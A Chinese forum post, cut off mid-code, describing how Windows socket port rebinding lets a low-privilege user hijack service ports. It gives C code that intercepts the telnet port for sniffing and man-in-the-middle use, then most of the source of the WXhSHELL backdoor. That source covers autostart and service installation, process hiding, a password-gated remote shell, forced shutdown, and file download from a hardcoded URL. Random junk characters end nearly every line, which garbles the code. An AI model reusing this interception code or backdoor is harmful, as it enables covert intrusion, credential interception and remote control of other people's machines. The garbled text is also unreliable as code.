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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %rnRy<9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h(}#s1Fzq  
> 2/j  
  saddr.sin_family = AF_INET; H(- -hG5}  
u81F^72U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y>FLc* h  
:.l\lj0Yf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s0vcGh#w  
] s 2ec  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DwFvM0O6\  
)>b1%x} =  
  这意味着什么?意味着可以进行如下的攻击: Sh-B!  
Z ]ZUK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^-s7>F`jx  
WdC7CK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  f>mEX='w  
;sf'"UnL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rGt]YG#C  
ASMItT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w""u]b%:r  
Ktzn)7-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7KRNTnd  
&1=,?s]&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fd80T6[  
`LIlR8&@aX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hHcevSr  
~e,K  
  #include `Has3AX8  
  #include C'l\4ij)7  
  #include j+/EG^*/  
  #include    n]5Pfg|a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0{o 8-#  
  int main() GpO@1 C/  
  { !f/^1k}SR  
  WORD wVersionRequested; L:lnm9<  
  DWORD ret; m|+zMf&  
  WSADATA wsaData; ]k1N-/  
  BOOL val; d3T7$'l$  
  SOCKADDR_IN saddr; 9S'\&mRl  
  SOCKADDR_IN scaddr; AlrUfSBB  
  int err; T}XJFV  
  SOCKET s; >[T6/#M  
  SOCKET sc; }c4F}Cy  
  int caddsize; Ud>hDOJ3  
  HANDLE mt; hN1 [*cF  
  DWORD tid;   n],cs  
  wVersionRequested = MAKEWORD( 2, 2 ); tC f@v'1t  
  err = WSAStartup( wVersionRequested, &wsaData ); 7|"G 3ck  
  if ( err != 0 ) { aa!1w93?i  
  printf("error!WSAStartup failed!\n"); C;70,!3  
  return -1; V)`Q0}  
  } G~*R6x2g  
  saddr.sin_family = AF_INET; YWi Y[  
   CSm(yB{|pC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :t+Lu H g  
5HvYy *B/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O,J,Q|` H&  
  saddr.sin_port = htons(23); ov!L8 9`[u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !g>mjD  
  { 5=8_Le  
  printf("error!socket failed!\n"); G Wj !n  
  return -1; T~}g{q,tR  
  } GBd mT-7  
  val = TRUE; &w%%^ +n |  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Pm24;'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iHo0:J~  
  { (@\0P H0  
  printf("error!setsockopt failed!\n"); n1+J{EPH  
  return -1; )5;|mV  
  } _J3\e%ys  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =`gFwH<   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KHaYb5(a[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u8y('\(  
Uf[Gs/!NV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #?\|)y4i  
  { )MM(HS  
  ret=GetLastError(); }LZz"b<aw  
  printf("error!bind failed!\n"); 0b,{4DOD  
  return -1; {`L,F  
  } !:g\Fe]  
  listen(s,2); 9B3}LVg\  
  while(1) *(*XNd||  
  { ?* dfIc  
  caddsize = sizeof(scaddr); $~A\l@xAG  
  //接受连接请求 e7U9"pk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?nR$>a`  
  if(sc!=INVALID_SOCKET) \WVY@eB  
  { !-gOqo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ux7g%Q ^"  
  if(mt==NULL) sD<8-n  
  { rIH+X2 x  
  printf("Thread Creat Failed!\n"); mP)im]H  
  break; xoE,3Sn  
  } 4Gy3s|{  
  } hA"z0Fszh  
  CloseHandle(mt); iF+50d  
  } 1 7hXg"B  
  closesocket(s); X^ 0jS  
  WSACleanup(); G{|F V m  
  return 0; L w/ZKXDU2  
  }   MS%h`Ypo  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8ax3"G  
  { sWLH"'Z  
  SOCKET ss = (SOCKET)lpParam; WOGMt T%  
  SOCKET sc; n 8e}8.Bu  
  unsigned char buf[4096]; 3Q+THg3~?  
  SOCKADDR_IN saddr; qSL~A-  
  long num; l)1ySX&BU  
  DWORD val; Nx(y_.I{K  
  DWORD ret; 04z2gAo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =Sn!'@%U]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   opxPK=kJ  
  saddr.sin_family = AF_INET; ga91#NWgK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ';x5 $5k'  
  saddr.sin_port = htons(23); Wuji'sxTs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MXpj_+@  
  { {D&:^f  
  printf("error!socket failed!\n"); K:sC6|wG  
  return -1; &nF7CCF  
  } C  F<  
  val = 100; d4-cZw}+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  _$4vk  
  { /E6 Tt  
  ret = GetLastError(); "{(4  
  return -1; + f?xVW<h  
  } gMZ?MG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4,R1}.?BzJ  
  { .gHL(*1P  
  ret = GetLastError(); ;0\  
  return -1; j2{ '!  
  } v~HfA)#JK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -U_<:  
  { YJrZ  
  printf("error!socket connect failed!\n"); t) ~v5vr  
  closesocket(sc); E|^~R}z)  
  closesocket(ss); )kNyl@m  
  return -1; +xtR`Y"  
  } s|&2QG0'7  
  while(1) rB%acTCz=[  
  { Q1@V?`rkS{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LaiUf_W#X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }vdhk0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =u`^QE  
  num = recv(ss,buf,4096,0); uU00ZPS*G[  
  if(num>0) Nb;Yti@Y.  
  send(sc,buf,num,0); 1Q$Z'E}SK@  
  else if(num==0) o%A@ OY  
  break; ;H8A"$%n~  
  num = recv(sc,buf,4096,0); J;BG/VI1  
  if(num>0) e c`3Qw  
  send(ss,buf,num,0); G@QZmuj&KH  
  else if(num==0) /F 1mYq~  
  break; }mw31=2bD  
  } 3AD^B\<gB  
  closesocket(ss); dPRGL hWF  
  closesocket(sc); e[8p/hId  
  return 0 ; "^ cn9AG{  
  } j^~WAWbFh  
%@jv\J  
Iih~rWJ  
========================================================== ~8EG0F;t  
C '}8  
下边附上一个代码,,WXhSHELL l2!4}zI2  
m/0t; cx  
========================================================== `795 K8  
%k3a34P@  
#include "stdafx.h" qN_jsJ  
T=2 91)@  
#include <stdio.h> &sQtS  
#include <string.h> `W[oLQ  
#include <windows.h> wLC|mByq  
#include <winsock2.h> A`Bg"k:D  
#include <winsvc.h> BY$%gIB6>  
#include <urlmon.h> !g~xn2m$R  
PTvP;  
#pragma comment (lib, "Ws2_32.lib") |nj%G<  
#pragma comment (lib, "urlmon.lib") <H~  (iQ  
ZUMzWK5Th  
#define MAX_USER   100 // 最大客户端连接数 >g6:{-b^a  
#define BUF_SOCK   200 // sock buffer @4b"0ne}h  
#define KEY_BUFF   255 // 输入 buffer .yF7{/  
#.%;U' #O  
#define REBOOT     0   // 重启 i5*sG^<$H  
#define SHUTDOWN   1   // 关机 .)mw~3]  
9oY%v7  
#define DEF_PORT   5000 // 监听端口 h7  >  
p9 |r y+t  
#define REG_LEN     16   // 注册表键长度 q$s0zqV5  
#define SVC_LEN     80   // NT服务名长度 U:xr['  
t{K1ht$[:  
// 从dll定义API nMXSpX>!|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ua{qJ9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]pr;ME<M{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P$D1kcCw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?!-2G  
hun/H4f|  
// wxhshell配置信息 l23#"gGb  
struct WSCFG { I "9S  
  int ws_port;         // 监听端口 )fR'1_  
  char ws_passstr[REG_LEN]; // 口令 ?+b )=Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no g(MeCoCc  
  char ws_regname[REG_LEN]; // 注册表键名 6P!M+PO  
  char ws_svcname[REG_LEN]; // 服务名 mg*[,_3q33  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z.pP~he  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bY;ah;<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oO>mGl36H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `hL16S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5>JrTO 5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dH zo_VV  
t8 #&bU X  
}; X'WbS  
!B(6  
// default Wxhshell configuration m4|9p{E  
struct WSCFG wscfg={DEF_PORT, &B7X LO[  
    "xuhuanlingzhe", uQ{ &x6.1  
    1, _Y*]'?g`  
    "Wxhshell", Q5/".x^@  
    "Wxhshell", 5B@+$D[0?3  
            "WxhShell Service", 4?,N;Q  
    "Wrsky Windows CmdShell Service", +=^10D  
    "Please Input Your Password: ", a4L8MgF&$-  
  1, 3ePG=^K^  
  "http://www.wrsky.com/wxhshell.exe", L*1C2EL/q  
  "Wxhshell.exe" ~(%nnG6x  
    }; S!k cC-7  
3xh~xE  
// 消息定义模块 d?*=<w!A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \:\rkc9LI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O[;>Y'zqC%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uJm9h(xq  
char *msg_ws_ext="\n\rExit."; a}+|2k_  
char *msg_ws_end="\n\rQuit."; vVmoV0kGt  
char *msg_ws_boot="\n\rReboot..."; =zt@*o{F  
char *msg_ws_poff="\n\rShutdown..."; )avli@W-3j  
char *msg_ws_down="\n\rSave to "; InMF$pw  
sV'(y>PP%  
char *msg_ws_err="\n\rErr!"; X4lz?Y:*  
char *msg_ws_ok="\n\rOK!"; z'JtH^^Z  
kA{[k  
char ExeFile[MAX_PATH]; Uo<d]4p $  
int nUser = 0; [F/>pL5U$  
HANDLE handles[MAX_USER]; gEMxK2MNXj  
int OsIsNt; u)M dFz  
B3]q*ERAo  
SERVICE_STATUS       serviceStatus; NB;8 e>8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6+e@)[l.zc  
Y'`w.+9  
// 函数声明 A$Mmnu%  
int Install(void); N)03{$WM  
int Uninstall(void); l_y:IY$"  
int DownloadFile(char *sURL, SOCKET wsh); ogH{   
int Boot(int flag); Lk6UT)C  
void HideProc(void); =U!M,zw4  
int GetOsVer(void); \IbGNV`q  
int Wxhshell(SOCKET wsl); 3G dWq*  
void TalkWithClient(void *cs); )Y+n4UL3NK  
int CmdShell(SOCKET sock); X<m#:0iD  
int StartFromService(void); %,E\8{I+  
int StartWxhshell(LPSTR lpCmdLine);  PW x9CT  
+;tXk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >&7K|$y.J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (4L XoNT  
F??})YX  
// 数据结构和表定义 %Iw6oG  
SERVICE_TABLE_ENTRY DispatchTable[] = <<W{nSm#  
{ D$d8u=S  
{wscfg.ws_svcname, NTServiceMain}, K>Dn#"{Y  
{NULL, NULL} 9o"k 7$  
}; $a>,sL&;  
p?2 \9C4  
// 自我安装 U6e 0{n  
int Install(void) }eetx68\  
{ 5fMVjd  
  char svExeFile[MAX_PATH]; 4R0'$Ld4  
  HKEY key; }9<pLk  
  strcpy(svExeFile,ExeFile); ~tWIVj{  
h5e(Avk  
// 如果是win9x系统,修改注册表设为自启动 4!64S5(7t  
if(!OsIsNt) { lM~ 3yBy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OaY.T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \C $LjSS-  
  RegCloseKey(key); oOlqlv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ ]@   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NKd}g  
  RegCloseKey(key); I !=ew |  
  return 0; W+d=BnOa8  
    } SK t&]H  
  } a,i k=g  
} ?55t0  
else { :sAb'6u1EU  
gQMcQV]C$  
// 如果是NT以上系统,安装为系统服务 1t wC-rC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jd?N5.  
if (schSCManager!=0) kVR_?ch{  
{ ZxLdh8v.  
  SC_HANDLE schService = CreateService ]-h;gN  
  ( /N .xh  
  schSCManager, 82l$]W4  
  wscfg.ws_svcname, mQdF+b1o  
  wscfg.ws_svcdisp, \9j +ejGf  
  SERVICE_ALL_ACCESS, (Ild>_Tdb`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d$qivct  
  SERVICE_AUTO_START, f]%:.N~1w  
  SERVICE_ERROR_NORMAL, =jXBF.  
  svExeFile, #@FMH*?xX6  
  NULL, m:&go2Y  
  NULL, h|qTMwPr  
  NULL, BdBwfH%:  
  NULL, @yp#k>  
  NULL Cw6\'p%l-\  
  ); 0M=A,`qk  
  if (schService!=0) (iQ< [3C=  
  { Yuo:hF\DH  
  CloseServiceHandle(schService); E><$sN6  
  CloseServiceHandle(schSCManager); {\zTE1X9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3/_rbPr  
  strcat(svExeFile,wscfg.ws_svcname); 6 G.(o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C.qN Bl*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uH*moVw@5  
  RegCloseKey(key); gySCK-(y  
  return 0; IAyyRl\  
    } .n$c+{  
  } 4Z8FLA+T,  
  CloseServiceHandle(schSCManager); FM$$0}X  
} jN))|eD0x  
} _L?MYkD  
(D2G.R\pr  
return 1; S$#"bK/p^  
} #gW"k;7P  
8/W(jVO(-  
// 自我卸载 7PTw'+{  
int Uninstall(void) nv$>iJ^~H  
{ 5j'7V1:2  
  HKEY key; jW]Q-  
BoJpf8e'-e  
if(!OsIsNt) { Td,2.YMQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zF: :?L~  
  RegDeleteValue(key,wscfg.ws_regname); M%&1j >d  
  RegCloseKey(key); EzII!0 F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0?V{u`*  
  RegDeleteValue(key,wscfg.ws_regname); 0zQ~'x  
  RegCloseKey(key); ^!&6z4DP  
  return 0; ob3)bI oM  
  } .>F4s_6l  
} bg-/ 8,  
} i,*m(C@F}  
else { 9;U?_   
t kj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lJ-PW\P  
if (schSCManager!=0) aqI"4v]~b  
{ 2L1 ,;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c#}K,joeU  
  if (schService!=0) Ql)hIf$Oo  
  { i m;6$3  
  if(DeleteService(schService)!=0) { !Yb !Au[  
  CloseServiceHandle(schService); &;d N:F;  
  CloseServiceHandle(schSCManager); zZCRej  
  return 0; xt5/`C  
  } `T[@-   
  CloseServiceHandle(schService); R\3a Sx L  
  } D;V[9E=g/  
  CloseServiceHandle(schSCManager); 6EyPZ{  
} ZK^cG'^2|  
} &}k7iaO  
PmE)FthdP(  
return 1; G$i)ELs  
} 950N\Y @u  
%|(c?`2|  
// 从指定url下载文件 #mu L-V  
int DownloadFile(char *sURL, SOCKET wsh) (~^fx\-S  
{ 2uE<mjCt-r  
  HRESULT hr; GmWr  
char seps[]= "/"; E@ U]k$M  
char *token; WZNq!K H  
char *file; Z*co\ pW  
char myURL[MAX_PATH]; 11yXI[  
char myFILE[MAX_PATH]; tr,W)5O@L  
(4R(5t  
strcpy(myURL,sURL); V+ ("kz*  
  token=strtok(myURL,seps); |^1U<'oM#  
  while(token!=NULL) Bxm,?=h  
  { c,2& -T}  
    file=token; 6*9 wGLE  
  token=strtok(NULL,seps); \QK@wgu  
  } S"Cz. bv  
{g%N(2  
GetCurrentDirectory(MAX_PATH,myFILE); BUBx}dbCM  
strcat(myFILE, "\\"); eTS}-  
strcat(myFILE, file); $5&%X'jk  
  send(wsh,myFILE,strlen(myFILE),0); {\l  
send(wsh,"...",3,0); \tI%[g1M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~U]g;u  
  if(hr==S_OK) ;AEfU^[  
return 0; LBK{-(%  
else 2@zduL'do_  
return 1; Sf,z  
XX~vg>3_  
} ':wf%_Iw  
c 3QgX4vq  
// 系统电源模块 VyxYv-$Y  
int Boot(int flag) 1XSnnkJm  
{ s7 "xDDV  
  HANDLE hToken; x"12$7 9=  
  TOKEN_PRIVILEGES tkp; :]-oo*xP  
sW]^YT>?  
  if(OsIsNt) { -XV,r<''  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +'?Qph6o,7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); | ;tH?E  
    tkp.PrivilegeCount = 1; /sKL|]i=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nHm}^.B*+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S:_Ms{S  
if(flag==REBOOT) { F<* /J]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S 5S\zTPIf  
  return 0; 6ZQ |L=Ytp  
} v03cQw\"WE  
else { >j5\J_( ;D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X1| +9  
  return 0; 7=6:ZSI  
} q9/v\~m  
  } AFz:%m  
  else { 03 @a G  
if(flag==REBOOT) { dDaV2:4E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~`OX}h/Z  
  return 0;  ?.?)5 &4  
} e%\^V\L  
else { t}q e_c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZLkl:'E_  
  return 0; XNYA\%:5S  
} ;>J!$B?,  
} T+0=Ou"N  
ob.<j  
return 1; }\"EI<$s  
} 3Zb%-_%j  
a('0l2e<u9  
// win9x进程隐藏模块 &GP(yj]  
void HideProc(void) /s\ m V  
{ }T?X6LA$I8  
Dh I{&$O/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .G8`Ut Z  
  if ( hKernel != NULL ) .<hHK|HF  
  { |`T(:ZKXZ2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CY1WT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); + Iyyk02V  
    FreeLibrary(hKernel); r6DLShP-Ur  
  } j_8 YFz5  
!vSI"$xd  
return; |p|Zv H  
} Ds`e-X)O;\  
smn"]K  
// 获取操作系统版本 MpCPY"WLL  
int GetOsVer(void) ;KL7SM%g4  
{ D#g -mqar:  
  OSVERSIONINFO winfo; E'QAsU8pP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U%q)T61  
  GetVersionEx(&winfo); Ebnb-Lze,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UUt"8]@[  
  return 1; yZleots1  
  else ;2f=d_/x  
  return 0; mxv ?PP  
} 2f,8Jnia  
='7m$,{(Q[  
// 客户端句柄模块 -$d?e%}#  
int Wxhshell(SOCKET wsl) c#OxI*,+/  
{ ? x%s j  
  SOCKET wsh; b;i*}4h!  
  struct sockaddr_in client; 8em'7hR9  
  DWORD myID; L AQ@y-K3  
7+jxf[(XQ  
  while(nUser<MAX_USER) {?qfH>oFA  
{ RNT9M:w  
  int nSize=sizeof(client); ?WI v4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /vQ)$;xf#  
  if(wsh==INVALID_SOCKET) return 1; V}E['fzBFV  
o0H^J,6gV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Y&`2WZ ~  
if(handles[nUser]==0) $S6(V}yh  
  closesocket(wsh); Rh'z;Gyr  
else >q}3#TvP@  
  nUser++; >F$9&s&  
  } QQJGqM3a2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s9?mX@>h  
 {53FR  
  return 0; H=/1d.p  
} ]iV ]7g8:  
< 5zR-UA>  
// 关闭 socket oC&}lp)q  
void CloseIt(SOCKET wsh) omfX2Oa2  
{ A*h8 o9M  
closesocket(wsh);  ti5fsc  
nUser--; aBA oSn  
ExitThread(0); %'2P4(  
} P;5)Net1X  
OM EwGr(  
// 客户端请求句柄 pH'Tx>  
void TalkWithClient(void *cs) ^twyy9VR  
{ iq;\},  
579Q&|L.  
  SOCKET wsh=(SOCKET)cs; e,(Vy  
  char pwd[SVC_LEN]; <a R  
  char cmd[KEY_BUFF]; UylIxd  
char chr[1]; !yNU-/K  
int i,j; (hc!!:N~q  
N_%@_$3G]  
  while (nUser < MAX_USER) { }e7Rpgu  
F/v.hP_  
if(wscfg.ws_passstr) { (:iMs) iO{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \mb4leg5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2[lP,;!  
  //ZeroMemory(pwd,KEY_BUFF); B:zx 9  
      i=0; rz|T2K  
  while(i<SVC_LEN) { %`C e#b()'  
vn.5X   
  // 设置超时 \' O/3Y7?X  
  fd_set FdRead; )<x9t@$  
  struct timeval TimeOut; M"z=114  
  FD_ZERO(&FdRead); >N^<Q4%2  
  FD_SET(wsh,&FdRead); cW3'057  
  TimeOut.tv_sec=8; M+t)#O4  
  TimeOut.tv_usec=0; Zg+.`>z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); igu1s}F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { 4+/0\  
:!i=g+e]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cS.@02~f"  
  pwd=chr[0]; 5<Kt"5Z%7  
  if(chr[0]==0xd || chr[0]==0xa) { B)q}]Qn  
  pwd=0; a^_K@  
  break; U&3!=|j  
  } Y{dSQ|xz^  
  i++; C|y^{4 |R  
    } 'iMzp]V;  
'6D"QDZB  
  // 如果是非法用户,关闭 socket c&;" Y{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g$Tsht(rHD  
} .-$3I|}X=  
cqU6 Y*n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /)K')  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lBP?7`U  
SFg4}*"C/  
while(1) { imOIO[<;  
9Qyc!s`  
  ZeroMemory(cmd,KEY_BUFF); N[@~q~v  
]ZLF=  
      // 自动支持客户端 telnet标准   w5Fk#zJv  
  j=0; DN^+"_:TB  
  while(j<KEY_BUFF) { =p|IWn{P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3[#^$_96b  
  cmd[j]=chr[0]; :[a*I6/^  
  if(chr[0]==0xa || chr[0]==0xd) { F- kjv\  
  cmd[j]=0; j+!u=E  
  break; '@t,G,FJ  
  } w/NT 5  
  j++; _;}$/  
    } kR+}7G+  
!>(uhuTBF  
  // 下载文件 :V(C+bm *  
  if(strstr(cmd,"http://")) { WvU[9ME^)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X -1r$.  
  if(DownloadFile(cmd,wsh)) LR&MhG7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i, ^-9  
  else lLQcyi0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tDETRjTA  
  } &pK0>2  
  else { &zYQ H@  
+1#;s!e  
    switch(cmd[0]) { <xBL/e %  
  Jk{SlH3'  
  // 帮助 D*UxPm"pw  
  case '?': { $.C\H,H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H@- GYX"4  
    break; QXj#Brp  
  } ~{DJ,(N"n  
  // 安装 {"jtR<{)  
  case 'i': { @o[ZJ4>*  
    if(Install()) m 70r'b]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z6B$\Q5Od  
    else R1JD{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~v&Q\>'  
    break; B\D)21Ik}%  
    } XK~HfA?  
  // 卸载 USART}Us4  
  case 'r': { jR\pYRK  
    if(Uninstall()) ,'C*?mms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [vI ;A !  
    else 9@qkj 4w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &CRgi488b  
    break; o0AT&<K  
    } +M.BMS2A<l  
  // 显示 wxhshell 所在路径 86LE )z  
  case 'p': { 5XT^K)'  
    char svExeFile[MAX_PATH]; z81dm  
    strcpy(svExeFile,"\n\r"); ~F@p}u8TV  
      strcat(svExeFile,ExeFile); $,Q] GIC  
        send(wsh,svExeFile,strlen(svExeFile),0); 0x*1I1(c  
    break; q1 HJ_y  
    } KrP?*yk  
  // 重启 "T[BSj?E  
  case 'b': { b1^wK"#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NJJ=ch  
    if(Boot(REBOOT)) %,$xmoj9O]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sv=e|!3f[k  
    else { #n&/v'!\  
    closesocket(wsh); y?cN  
    ExitThread(0); 0.m-}  
    } f0@*>  
    break; #6~KO7}  
    } 7.2G}O6$  
  // 关机 RKzO$T  
  case 'd': { ZxO o&YR3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :tbI=NDb  
